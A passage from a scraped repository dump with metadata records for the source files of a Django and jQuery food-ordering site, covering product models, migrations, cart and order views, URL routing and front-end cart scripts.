self.phone_number + ', ' + self.address\n\n\nfrom koko_models.signals import post_order\n\nmodels.signals.post_save.connect(post_order, sender=Order)\n"
},
{
"alpha_fraction": 0.7447552680969238,
"alphanum_fraction": 0.7447552680969238,
"avg_line_length": 29.052631378173828,
"blob_id": "6446d9b739e9f6368c3dff7e782373f27beede77",
"content_id": "25f1ca0e17a91d72dbb2e6f8990dda309164f459",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 572,
"license_type": "no_license",
"max_line_length": 96,
"num_lines": 19,
"path": "/koko_models/admin.py",
"repo_name": "erlanenazarov/koko_backend",
"src_encoding": "UTF-8",
"text": "from django.contrib import admin\nfrom models import *\n# Register your models here.\n\n\nadmin.site.register(MainProduct)\nadmin.site.register(ProductSizes)\nadmin.site.register(PotatoProduct)\nadmin.site.register(SaladeProduct)\nadmin.site.register(DrinkingProduct)\nadmin.site.register(Contacts)\n\n\nclass OrderAdmin(admin.ModelAdmin):\n list_editable = ['delivered', 'accepted']\n list_display = ['name', 'address', 'phone', 'orders_html', 'score', 'accepted', 'delivered']\n list_filter = ['delivered', 'accepted', 'name', 'phone']\n\nadmin.site.register(Order, OrderAdmin)\n\n"
},
{
"alpha_fraction": 0.44891640543937683,
"alphanum_fraction": 0.452720046043396,
"avg_line_length": 31.395416259765625,
"blob_id": "76cd68ab9d00b75e4d4b696550b792253ac4e695",
"content_id": "cc400c9fbdea08217ab998ae71603cdddace6b92",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 11449,
"license_type": "no_license",
"max_line_length": 109,
"num_lines": 349,
"path": "/templates/public/js/core.js",
"repo_name": "erlanenazarov/koko_backend",
"src_encoding": "UTF-8",
"text": "/**\n * Created by Эрлан on 25.11.2016.\n */\nfunction getCookie(name) {\n var cookieValue = null;\n if (document.cookie && document.cookie != '') {\n var cookies = document.cookie.split(';');\n for (var i = 0; i < cookies.length; i++) {\n var cookie = jQuery.trim(cookies[i]);\n // Does this cookie string begin with the name we want?\n if (cookie.substring(0, name.length + 1) == (name + '=')) {\n cookieValue = decodeURIComponent(cookie.substring(name.length + 1));\n break;\n }\n }\n }\n return cookieValue;\n}\n\n\n\n$(document).ready(function () {\n $(window).on('scroll', function () {\n if ($(window).scrollTop() > 140) {\n $('.fixed-header').fadeIn('fast');\n } else {\n $('.fixed-header').fadeOut('fast');\n }\n\n // var slickSlider = $('.slick-slide');\n // $(slickSlider).animate({\n // width: $(slickSlider).width()\n // }, 50);\n });\n\n var isOpen = false;\n $('#mobile-menu').on('click', function () {\n if (!isOpen) {\n $('.mobile-fixed-menu').animate({\n height: 170\n }, 500);\n isOpen = true;\n } else {\n $('.mobile-fixed-menu').animate({\n height: 0\n }, 500);\n isOpen = false;\n }\n });\n\n var navigationTrigger = $('.navigation-trigger');\n $(navigationTrigger).on('click', function (event) {\n event.preventDefault();\n var block = $(this).attr('href') + '';\n $('body, html').animate({\n scrollTop: $(block).offset().top\n }, 800);\n $('.mobile-fixed-menu').animate({\n height: 0\n }, 500);\n isOpen = false;\n });\n});\n\n// open request modal\n$(openButton).on('click', function () {\n $('#order-modal').fadeIn('fast');\n});\n\n// close request model\n$(closeButton).on('click', function () {\n $('.md-window').addClass('close');\n $('#order-modal').fadeOut('fast', function () {\n $('.md-window').removeClass('close');\n });\n});\n\n$('.md-alert-close').on('click', function () {\n $('.md-alert').addClass('close');\n $('#alert-modal').fadeOut('fast', function () {\n $('.md-alert').removeClass('close');\n });\n});\n\n$(document).ready(function () {\n\n var countTotalSum = function () {\n var sum = 0;\n $('.order-col-count > div.count').each(function (index, obj) {\n var settings = $('.settings-buttons', obj);\n sum += parseInt($(settings).attr('data-price')) * parseInt($('.count-value', obj).html())\n }).promise().done(function () {\n $('td.sum').html(sum + ' сом');\n });\n };\n\n var updateCartItemPrice = function (arg) {\n var parent = $(this).parent();\n var id = $(parent).attr('data-id');\n var type = $(parent).attr('data-type');\n var size = $(parent).attr('data-size');\n var quantity = $('div.count-value', $(parent).parent()).html();\n\n var data = null;\n\n if (arg.data.isPlus) {\n ++quantity;\n } else {\n --quantity;\n }\n\n if (type == 'potato' || type == 'chicken') {\n data = {\n id: id, type: type, size: size, quantity: quantity\n };\n } else {\n data = {\n id: id, type: type, quantity: quantity\n };\n }\n\n $.ajax({\n method: 'POST',\n url: cart_item_quantity_url,\n data: {item: JSON.stringify(data), csrfmiddlewaretoken: csrf},\n dataType: 'json',\n success: function (response) {\n if (response.success) {\n countTotalSum();\n }\n },\n error: function (e) {\n\n }\n });\n }\n\n // add to cart\n $(document).on('click', '.add-to-card', function () {\n $(this).addClass('hidden');\n $('.pre-order-settings', $(this).parent()).removeClass('hidden');\n });\n\n // switch price\n $(document).on('click', 'li.price-switch', function () {\n var price = $(this).attr('data-price');\n $('div.price-value', $(this).parent().parent()).html(price + ' сом');\n $('li.price-switch', $(this).parent()).each(function (index, obj) {\n $(obj).removeClass(('active'))\n });\n $(this).addClass('active');\n });\n\n // plus product\n $(document).on('click', 'img.plus-trigger', function () {\n var countValueObj = $('div.count-value', $(this).parent().parent());\n var countValue = parseInt($(countValueObj).html());\n countValue++;\n $(countValueObj).html(countValue);\n });\n\n $(document).on('click', 'img.minus-trigger', function () {\n var countValueObj = $('div.count-value', $(this).parent().parent());\n var countValue = parseInt($(countValueObj).html());\n countValue--;\n\n if (countValue < 1) {\n countValue = 1;\n }\n $(countValueObj).html(countValue);\n });\n\n // add to cart\n $(document).on('click', '.done-trigger', function () {\n var cart_item = null;\n var id = $(this).attr('data-id');\n var type = $(this).attr('data-type');\n var product_info = $('#' + type + '_' + id);\n var quantity = $('div.count-value', product_info).html();\n var title = $('div.title', product_info).html();\n var price = null;\n if (type === 'potato' || type === 'chicken') {\n var size = $('li.active', product_info).attr('data-size');\n price = $('li.active', product_info).attr('data-price');\n cart_item = {\n id: id, type: type, quantity: quantity, size: size, price: price, title: title\n };\n } else {\n price = $(this).attr('data-price');\n cart_item = {\n id: id, type: type, quantity: quantity, price: price, title: title\n };\n }\n\n $.ajax({\n method: 'POST',\n url: add_to_cart_url,\n data: {item: JSON.stringify(cart_item), csrfmiddlewaretoken: csrf},\n dataType: 'json',\n success: function (response) {\n if (response.success) {\n $.ajax({\n method: 'GET',\n url: cart_list_url,\n dataType: 'html',\n success: function (response) {\n var alert = $('#alert-modal');\n var message = title;\n if (size) {\n message += ', ' + size;\n }\n\n message += ', количество: ' + quantity;\n\n $('.md-alert-message', alert).html(message);\n $(alert).fadeIn('fast');\n $('.cart_list').html(response);\n $('.cart_item_plus').click({isPlus: true}, updateCartItemPrice);\n $('.cart_item_minus').click({isPlus: false}, updateCartItemPrice);\n },\n error: function (e) {\n\n }\n });\n }\n },\n error: function (e) {\n\n }\n });\n });\n // detele cart item\n $(document).on('click', 'div.order-col-delete', function () {\n var id = $(this).attr('data-id');\n var type = $(this).attr('data-type');\n var size = $(this).attr('data-size');\n var that = this;\n\n var cart_item = null;\n\n if (type === 'potato' || type === 'chicken') {\n cart_item = {id: id, type: type, size: size};\n } else {\n cart_item = {id: id, type: type};\n }\n\n $.ajax({\n method: 'POST',\n url: remove_from_cart_url,\n data: {item: JSON.stringify(cart_item), csrfmiddlewaretoken: getCookie('csrftoken')},\n dataType: 'json',\n success: function (response) {\n if (response.success) {\n $($(that).parent()).fadeOut(300, function () {\n $(this).remove();\n countTotalSum();\n });\n }\n },\n error: function (e) {\n\n }\n });\n });\n // load more\n $('.more_food').on('click', function () {\n var product_list = $('.main-products-carcass', $(this).parent().parent());\n var type = $(this).attr('data-type');\n var that = this;\n\n var page = $(this).attr('data-page');\n page++;\n\n $.ajax({\n method: 'GET',\n url: load_more_url + '?type=' + type + '&page=' + page,\n dataType: 'html',\n success: function (response) {\n $(product_list).append(response);\n $(that).attr('data-page', page);\n },\n error: function (e) {\n\n }\n });\n });\n\n // increase/decrease product quantity\n $('.cart_item_plus').click({isPlus: true}, updateCartItemPrice);\n $('.cart_item_minus').click({isPlus: false}, updateCartItemPrice);\n\n var connection = null;\n connection = new CHAT();\n connection.init(socketHost, 'kokoChicken');\n //create order\n $('#orderForm').on('submit', function (e) {\n e.preventDefault();\n var alert = $('#alert-modal');\n var data = $(this).serialize();\n data += '&csrfmiddlewaretoken=' + getCookie('csrftoken');\n $.ajax({\n method: 'POST',\n url: $(this).attr('action'),\n dataType: 'json',\n data: data,\n success: function (response) {\n if (response.success) {\n $('.md-window').addClass('close');\n $('#order-modal').fadeOut('fast', function () {\n $('.md-window').removeClass('close');\n });\n\n $('.md-alert-title', alert).html('Заказ отправлен');\n $('.md-alert-message', alert).html('Ваша заказ принят!');\n $(alert).fadeIn('fast');\n var time = new Date().getHours() + ':' + new Date().getMinutes();\n console.log(time);\n connection.sendMessage('newOrder', time);\n } else {\n $('.md-alert-title', alert).html('Ошибка!');\n $('.md-alert-message', alert).html('Похоже что сервер не отвечает, пропробуйте позже..');\n $(alert).fadeIn('fast');\n }\n }\n ,\n error: function (e) {\n $('.md-alert-title', alert).html('Ошибка!');\n $('.md-alert-message', alert).html('Похоже что сервер не отвечает, пропробуйте позже..');\n $(alert).fadeIn('fast');\n }\n });\n\n });\n\n window.onbeforeunload = function (e) {\n if (connection) {\n connection.disconnect();\n }\n };\n $('#drink-list').slick({\n infinite: true,\n arrows: true,\n autoplay: true,\n speed: 500,\n mobileFirst: true,\n swipeToSlide: true,\n variableWidth: true\n });\n});"
},
{
"alpha_fraction": 0.4305301606655121,
"alphanum_fraction": 0.5990250110626221,
"avg_line_length": 53.70000076293945,
"blob_id": "22a633cd1daed7d5261c6843640b51d9add299d2",
"content_id": "1eaff2873502324486918687bad502ec751bc034",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3282,
"license_type": "no_license",
"max_line_length": 161,
"num_lines": 60,
"path": "/koko_models/migrations/0002_drinkingproduct_potatoproduct_saladeproduct.py",
"repo_name": "erlanenazarov/koko_backend",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.10 on 2016-11-29 12:45\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('koko_models', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='DrinkingProduct',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('title', models.CharField(max_length=255, verbose_name='\\u041d\\u0430\\u0437\\u0432\\u0430\\u043d\\u0438\\u0435')),\n ('description', models.TextField(verbose_name='\\u041e\\u043f\\u0438\\u0441\\u0430\\u043d\\u0438\\u0435')),\n ('preview', models.ImageField(upload_to='drinking_products', verbose_name='\\u0418\\u0437\\u043e\\u0431\\u0440\\u0430\\u0436\\u0435\\u043d\\u0438\\u0435')),\n ('price', models.IntegerField(verbose_name='\\u0426\\u0435\\u043d\\u0430')),\n ],\n options={\n 'db_table': 'drinking_product',\n 'verbose_name': '\\u041d\\u0430\\u043f\\u0438\\u0442\\u043e\\u043a',\n 'verbose_name_plural': '\\u041d\\u0430\\u043f\\u0438\\u0442\\u043a\\u0438',\n },\n ),\n migrations.CreateModel(\n name='PotatoProduct',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('title', models.CharField(max_length=255, verbose_name='\\u041d\\u0430\\u0438\\u043c\\u0435\\u043d\\u043e\\u0432\\u0430\\u043d\\u0438\\u0435')),\n ('description', models.TextField(max_length=100, verbose_name='\\u041e\\u043f\\u0438\\u0441\\u0430\\u043d\\u0438\\u0435')),\n ('preview', models.ImageField(upload_to='potato_products', verbose_name='\\u0418\\u0437\\u043e\\u0431\\u0440\\u0430\\u0436\\u0435\\u043d\\u0438\\u0435')),\n ('sizes', models.ManyToManyField(to='koko_models.ProductSizes', verbose_name='\\u041e\\u0431\\u044a\\u0451\\u043c\\u044b')),\n ],\n options={\n 'db_table': 'potato_product',\n 'verbose_name': '\\u041a\\u0430\\u0440\\u0442\\u043e\\u0444\\u0435\\u043b\\u044c',\n 'verbose_name_plural': '\\u041a\\u0430\\u0440\\u0442\\u043e\\u0444\\u0435\\u043b\\u0438',\n },\n ),\n migrations.CreateModel(\n name='SaladeProduct',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('title', models.CharField(max_length=255, verbose_name='\\u041d\\u0430\\u0437\\u0432\\u0430\\u043d\\u0438\\u0435')),\n ('description', models.TextField(verbose_name='\\u041e\\u043f\\u0438\\u0441\\u0430\\u043d\\u0438\\u0435')),\n ('preview', models.ImageField(upload_to='salade_products', verbose_name='\\u0418\\u0437\\u043e\\u0431\\u0440\\u0430\\u0436\\u0435\\u043d\\u0438\\u0435')),\n ('price', models.IntegerField(verbose_name='\\u0426\\u0435\\u043d\\u0430')),\n ],\n options={\n 'db_table': 'salade_product',\n 'verbose_name': '\\u0421\\u0430\\u043b\\u0430\\u0442',\n 'verbose_name_plural': '\\u0421\\u0430\\u043b\\u0430\\u0442\\u044b',\n },\n ),\n ]\n"
},
{
"alpha_fraction": 0.43790850043296814,
"alphanum_fraction": 0.5901027321815491,
"avg_line_length": 43.625,
"blob_id": "dd7ec3e0789d84cab811ae1fbb717acb30bf3cdb",
"content_id": "07d4da32784e7b0b205d01fbb68d72008558944f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2142,
"license_type": "no_license",
"max_line_length": 157,
"num_lines": 48,
"path": "/koko_models/migrations/0001_initial.py",
"repo_name": "erlanenazarov/koko_backend",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.10 on 2016-11-27 07:16\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='MainProduct',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('title', models.CharField(max_length=255, verbose_name='\\u041d\\u0430\\u0438\\u043c\\u0435\\u043d\\u043e\\u0432\\u0430\\u043d\\u0438\\u0435')),\n ('description', models.TextField(max_length=100, verbose_name='\\u041e\\u043f\\u0438\\u0441\\u0430\\u043d\\u0438\\u0435')),\n ('preview', models.ImageField(upload_to='main_products', verbose_name='\\u0418\\u0437\\u043e\\u0431\\u0440\\u0430\\u0436\\u0435\\u043d\\u0438\\u0435')),\n ],\n options={\n 'db_table': 'main_product',\n 'verbose_name': '\\u041a\\u0443\\u0440\\u043e\\u0447\\u043a\\u0430',\n 'verbose_name_plural': '\\u041a\\u0443\\u0440\\u0438\\u0446\\u044b',\n },\n ),\n migrations.CreateModel(\n name='ProductSizes',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('title', models.CharField(max_length=255, verbose_name='\\u041d\\u0430\\u0438\\u043c\\u0435\\u043d\\u043e\\u0432\\u0430\\u043d\\u0438\\u0435')),\n ('price', models.IntegerField(verbose_name='\\u0426\\u0435\\u043d\\u0430 \\u0437\\u0430 \\u043e\\u0431\\u044a\\u0451\\u043c')),\n ],\n options={\n 'db_table': 'product_sizes',\n 'verbose_name': ('\\u041e\\u0431\\u044a\\u0451\\u043c',),\n 'verbose_name_plural': '\\u041e\\u0431\\u044a\\u0451\\u043c\\u044b',\n },\n ),\n migrations.AddField(\n model_name='mainproduct',\n name='sizes',\n field=models.ManyToManyField(to='koko_models.ProductSizes', verbose_name='\\u041e\\u0431\\u044a\\u0451\\u043c\\u044b'),\n ),\n ]\n"
},
{
"alpha_fraction": 0.6440678238868713,
"alphanum_fraction": 0.6457627415657043,
"avg_line_length": 30.105262756347656,
"blob_id": "042eb2f5182b4c50492f0cc83d39c12ad486de00",
"content_id": "731960a2bd5dfcdfb7303b88630325cd20810e9f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 644,
"license_type": "no_license",
"max_line_length": 95,
"num_lines": 19,
"path": "/koko_models/signals.py",
"repo_name": "erlanenazarov/koko_backend",
"src_encoding": "UTF-8",
"text": "# coding=utf-8\nfrom app.views import *\nfrom KokoChicken.settings import *\n\n\ndef post_order(sender, instance, created, **kwargs):\n if instance.accepted:\n title = 'Заказ принят!'\n body = 'Заказ №%i принят!' % instance.id\n\n thread = threading.Thread(target=send_notification_email, args=(title, body, EMAIL_TO))\n thread.start()\n\n if instance.delivered:\n title = 'Заказ отправлен!'\n body = 'Заказ №%i отправлен!' % instance.id\n\n thread = threading.Thread(target=send_notification_email, args=(title, body, EMAIL_TO))\n thread.start()"
},
{
"alpha_fraction": 0.5162523984909058,
"alphanum_fraction": 0.6233269572257996,
"avg_line_length": 25.149999618530273,
"blob_id": "2349e4ca95b1d91e5a64b85359b8c731819258be",
"content_id": "e69321429df346d44c23b8163cdad81b81ac18b3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 523,
"license_type": "no_license",
"max_line_length": 131,
"num_lines": 20,
"path": "/koko_models/migrations/0004_auto_20161201_0541.py",
"repo_name": "erlanenazarov/koko_backend",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.10 on 2016-12-01 05:41\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('koko_models', '0003_order'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='order',\n name='delivered',\n field=models.BooleanField(default=False, verbose_name='\\u0414\\u043e\\u0441\\u0442\\u0430\\u0432\\u043b\\u0435\\u043d\\u043e?'),\n ),\n ]\n"
},
{
"alpha_fraction": 0.545098066329956,
"alphanum_fraction": 0.6058823466300964,
"avg_line_length": 24.5,
"blob_id": "68a3b5c8a341eb9f25f09372ecf640cf36a68e41",
"content_id": "431907694d5d513e2da1ec318e3d4efe9b95708e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 510,
"license_type": "no_license",
"max_line_length": 105,
"num_lines": 20,
"path": "/koko_models/migrations/0008_contacts_time_of_work.py",
"repo_name": "erlanenazarov/koko_backend",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.10 on 2017-01-09 14:58\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('koko_models', '0007_order_accepted'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='contacts',\n name='time_of_work',\n field=models.CharField(default='10:00 - 22:00', max_length=255, verbose_name='Chasy raboty'),\n ),\n ]\n"
},
{
"alpha_fraction": 0.6861042380332947,
"alphanum_fraction": 0.6916873455047607,
"avg_line_length": 42.56756591796875,
"blob_id": "93c7581109ad92a9bc6f9de0c7a5408d94274228",
"content_id": "d5ac1b6d861fe8e673965b839f6584d49e99a705",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1612,
"license_type": "no_license",
"max_line_length": 83,
"num_lines": 37,
"path": "/KokoChicken/urls.py",
"repo_name": "erlanenazarov/koko_backend",
"src_encoding": "UTF-8",
"text": "\"\"\"KokoChicken URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.10/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url, include\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\n\nfrom app.views import *\n\nurlpatterns = [\n url(r'^jet/', include('jet.urls', 'jet')), # Django JET URLS\n url(r'^admin/', admin.site.urls),\n url(r'^$', index_page, name='index'),\n url(r'^cart/add$', add_to_cart, name='add_to_cart'),\n url(r'^cart/remove$', remove_from_cart, name='remove_from_cart'),\n url(r'^cart/list$', cart_list, name='cart_list'),\n url(r'^paginate$', paginate_products, name='paginate_products'),\n url(r'^cart/item/quantity', set_cart_item_quantity, name='cart_item_quantity'),\n url(r'^order/create$', create_order, name='create_order'),\n url(r'^notifications/get$', get_notifications, name='get_notifications'),\n]\n\nif settings.DEBUG:\n urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n"
},
{
"alpha_fraction": 0.5632642507553101,
"alphanum_fraction": 0.565557062625885,
"avg_line_length": 34.793312072753906,
"blob_id": "4677fabbae65c06c54bf062df5eac5f725a46cad",
"content_id": "41647c67f1f46042815f6fd15e6ac1a5513449b5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 11788,
"license_type": "no_license",
"max_line_length": 129,
"num_lines": 329,
"path": "/app/views.py",
"repo_name": "erlanenazarov/koko_backend",
"src_encoding": "UTF-8",
"text": "# coding=utf-8\nimport datetime\nimport json\nimport threading\nfrom django.core.mail import EmailMessage\nfrom django.core.paginator import Paginator\nfrom django.http import JsonResponse, HttpResponseRedirect\nfrom django.shortcuts import render\n\n# Create your views here.\nfrom django.template import loader\nfrom django.urls import reverse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom KokoChicken import settings\nfrom koko_models.form import OrderForm\nfrom koko_models.models import *\nfrom KokoChicken.settings import *\n\nPRODUCTS_PER_PAGE = 4\n\n\ndef generate_view_params():\n pass\n\n\ndef index_page(request):\n contacts = Contacts.objects.all().first()\n phone = contacts.phone_number\n additional_phone = contacts.additional_phone_number\n email = contacts.email\n address = contacts.address\n time_of_work = contacts.time_of_work\n params = {\n 'phone': phone,\n 'additional_phone': additional_phone,\n 'email': email,\n 'address': address,\n 'time_of_work': time_of_work,\n 'socket_host': settings.SOCKET_HOST\n }\n\n if 'cart_items' in request.COOKIES:\n cart_items = json.loads(request.COOKIES['cart_items'])\n else:\n cart_items = []\n\n chicken_favs = []\n potatoes_favs = []\n salades_favs = []\n drinkings_favs = []\n\n cart_sum = 0\n\n if cart_items.__len__() > 0:\n for cart_item in cart_items:\n cart_sum += int(cart_item['quantity']) * int(cart_item['price'])\n\n if cart_item['type'] == 'chicken':\n chicken_favs.append(MainProduct.objects.filter(id=cart_item['id']).first())\n elif cart_item['type'] == 'potato':\n potatoes_favs.append(PotatoProduct.objects.filter(id=cart_item['id']).first())\n elif cart_item['type'] == 'salade':\n salades_favs.append(SaladeProduct.objects.filter(id=cart_item['id']).first())\n elif cart_item['type'] == 'drinking':\n drinkings_favs.append(DrinkingProduct.objects.filter(id=cart_item['id']).first())\n\n params['chickens'] = Paginator(MainProduct.objects.all(), PRODUCTS_PER_PAGE).page(1)\n params['potatoes'] = Paginator(PotatoProduct.objects.all(), PRODUCTS_PER_PAGE).page(1)\n params['salades'] = Paginator(SaladeProduct.objects.all(), PRODUCTS_PER_PAGE).page(1)\n params['drinkings'] = DrinkingProduct.objects.all()\n params['chicken_favs'] = chicken_favs\n params['potatoes_favs'] = potatoes_favs\n params['salades_favs'] = salades_favs\n params['drinkings_favs'] = drinkings_favs\n params['cart_items'] = cart_items\n params['cart_sum'] = cart_sum\n params['order_form'] = OrderForm()\n\n return render(request, 'index.html', params)\n\n\n@csrf_exempt\ndef add_to_cart(request):\n if request.is_ajax():\n item = request.POST.get('item')\n if 'cart_items' in request.COOKIES:\n cart_items = json.loads(request.COOKIES['cart_items'])\n else:\n cart_items = []\n if item:\n item = json.loads(item)\n is_new = True\n for cart_item in cart_items:\n if cart_item['type'] != item['type']:\n continue\n\n if item['type'] == 'chicken' or item['type'] == 'potato':\n if cart_item['id'] == item['id'] and cart_item['size'] == item['size']:\n cart_item['quantity'] = str(int(cart_item['quantity']) + int(item['quantity']))\n updated_item = cart_item\n cart_items.remove(cart_item)\n cart_items.append(updated_item)\n is_new = False\n break\n else:\n if cart_item['id'] == item['id']:\n cart_item['quantity'] = str(int(cart_item['quantity']) + int(item['quantity']))\n updated_item = cart_item\n cart_items.remove(cart_item)\n cart_items.append(updated_item)\n is_new = False\n break\n\n if is_new:\n cart_items.append(item)\n\n result_response = JsonResponse(dict(success=True))\n result_response = set_cookie(result_response, 'cart_items', json.dumps(cart_items))\n\n return result_response\n else:\n return HttpResponseRedirect(reverse('index'))\n\n\n@csrf_exempt\ndef remove_from_cart(request):\n if request.is_ajax():\n item = request.POST.get('item')\n if 'cart_items' in request.COOKIES:\n cart_items = json.loads(request.COOKIES['cart_items'])\n else:\n cart_items = []\n\n if item:\n item = json.loads(item)\n for cart_item in cart_items:\n if cart_item['type'] != item['type']:\n continue\n\n if item['type'] == 'chicken' or item['type'] == 'potato':\n if cart_item['id'] == item['id'] and cart_item['size'] == item['size']:\n cart_items.remove(cart_item)\n break\n else:\n if cart_item['id'] == item['id']:\n cart_items.remove(cart_item)\n break\n\n result_response = JsonResponse(dict(success=True))\n result_response = set_cookie(result_response, 'cart_items', json.dumps(cart_items))\n\n return result_response\n else:\n return HttpResponseRedirect(reverse('index'))\n\n\ndef cart_list(request):\n params = {}\n cart_sum = 0\n\n if 'cart_items' in request.COOKIES:\n cart_items = json.loads(request.COOKIES['cart_items'])\n else:\n cart_items = []\n\n if cart_items.__len__() > 0:\n for cart_item in cart_items:\n cart_sum += int(cart_item['quantity']) * int(cart_item['price'])\n\n params['cart_items'] = cart_items\n params['cart_sum'] = cart_sum\n\n return render(request, 'cart_list.html', params)\n\n\ndef paginate_products(request):\n page = request.GET.get('page')\n type = request.GET.get('type')\n cart_items = []\n\n if 'cart_items' in request.COOKIES:\n cart_items = json.loads(request.COOKIES['cart_items'])\n\n if type == 'chicken':\n paginator = Paginator(MainProduct.objects.all(), PRODUCTS_PER_PAGE)\n products = paginator.page(page)\n\n chicken_favs = []\n for cart_item in cart_items:\n if cart_item['type'] == 'chicken':\n for p in products:\n if p.id == int(cart_item['id']):\n chicken_favs.append(p)\n break\n\n return render(request, 'paginate_chicken.html', dict(products=products, chicken_favs=chicken_favs))\n elif type == 'potato':\n paginator = Paginator(PotatoProduct.objects.all(), PRODUCTS_PER_PAGE)\n products = paginator.page(page)\n\n potatoes_favs = []\n for cart_item in cart_items:\n if cart_item['type'] == 'potato':\n for p in products:\n if p.id == int(cart_item['id']):\n potatoes_favs.append(p)\n break\n\n return render(request, 'paginate_potato.html', dict(products=products, potatoes_favs=potatoes_favs))\n elif type == 'salade':\n paginator = Paginator(SaladeProduct.objects.all(), PRODUCTS_PER_PAGE)\n products = paginator.page(page)\n\n salades_favs = []\n for cart_item in cart_items:\n if cart_item['type'] == 'salade':\n for p in products:\n if p.id == int(cart_item['id']):\n salades_favs.append(p)\n break\n return render(request, 'paginate_salade.html', dict(products=products, salades_favs=salades_favs))\n\n\n@csrf_exempt\ndef set_cart_item_quantity(request):\n if request.is_ajax():\n item = request.POST.get('item')\n if 'cart_items' in request.COOKIES:\n cart_items = json.loads(request.COOKIES['cart_items'])\n else:\n cart_items = []\n\n if item:\n item = json.loads(item)\n if hasattr(item, 'size'):\n for cart_item in cart_items:\n if cart_item['id'] == item['id'] and cart_item['type'] == item['type'] and cart_item['size'] == item['size']:\n updated_item = item\n updated_item['price'] = cart_item['price']\n updated_item['title'] = cart_item['title']\n cart_items.remove(cart_item)\n cart_items.append(updated_item)\n else:\n for cart_item in cart_items:\n if cart_item['id'] == item['id'] and cart_item['type'] == item['type']:\n updated_item = item\n updated_item['price'] = cart_item['price']\n updated_item['title'] = cart_item['title']\n cart_items.remove(cart_item)\n cart_items.append(updated_item)\n\n result_response = JsonResponse(dict(success=True))\n result_response = set_cookie(result_response, 'cart_items', json.dumps(cart_items))\n\n return result_response\n else:\n result_response = JsonResponse(dict(success=False))\n result_response = set_cookie(result_response, 'cart_items', json.dumps(cart_items))\n\n return result_response\n\n else:\n return HttpResponseRedirect(reverse('index'))\n\n\ndef create_order(request):\n if request.is_ajax():\n cart_items = json.loads(request.COOKIES['cart_items'])\n\n score = 0\n for cart_item in cart_items:\n score += float(cart_item['price']) * float(cart_item['quantity'])\n\n form = OrderForm(request.POST)\n\n if form.is_valid():\n instance = form.instance\n instance.score = score\n instance.save()\n\n t = loader.get_template('cart_list_admin.html')\n\n c = dict(cart_items=cart_items, id=instance.id)\n content = t.render(c, request)\n\n instance.orders = content\n instance.save()\n\n t_email = loader.get_template('order_email.html')\n c_email = dict(cart_items=cart_items, name=instance.name, phone=instance.phone,\n address=instance.address, score=score, id=instance.id)\n\n t_content = t_email.render(c_email, request)\n thread = threading.Thread(target=send_notification_email, args=('Новый заказ', t_content, EMAIL_TO))\n thread.start()\n\n response = JsonResponse(dict(success=True))\n\n return set_cookie(response, 'cart_items', json.dumps([]))\n\n return JsonResponse(dict(success=False))\n else:\n return HttpResponseRedirect(reverse('index'))\n\n\ndef set_cookie(response, key, value, days_expire=7):\n if days_expire is None:\n max_age = 365 * 24 * 60 * 60 # one year\n else:\n max_age = days_expire * 24 * 60 * 60\n expires = datetime.datetime.strftime(datetime.datetime.utcnow() + datetime.timedelta(seconds=max_age),\n \"%a, %d-%b-%Y %H:%M:%S GMT\")\n response.set_cookie(key, value, max_age=max_age, expires=expires, domain=settings.SESSION_COOKIE_DOMAIN,\n secure=settings.SESSION_COOKIE_SECURE or None)\n return response\n\n\ndef send_notification_email(title, body, to):\n email = EmailMessage(title, body=body, to=[to])\n email.content_subtype = 'html'\n 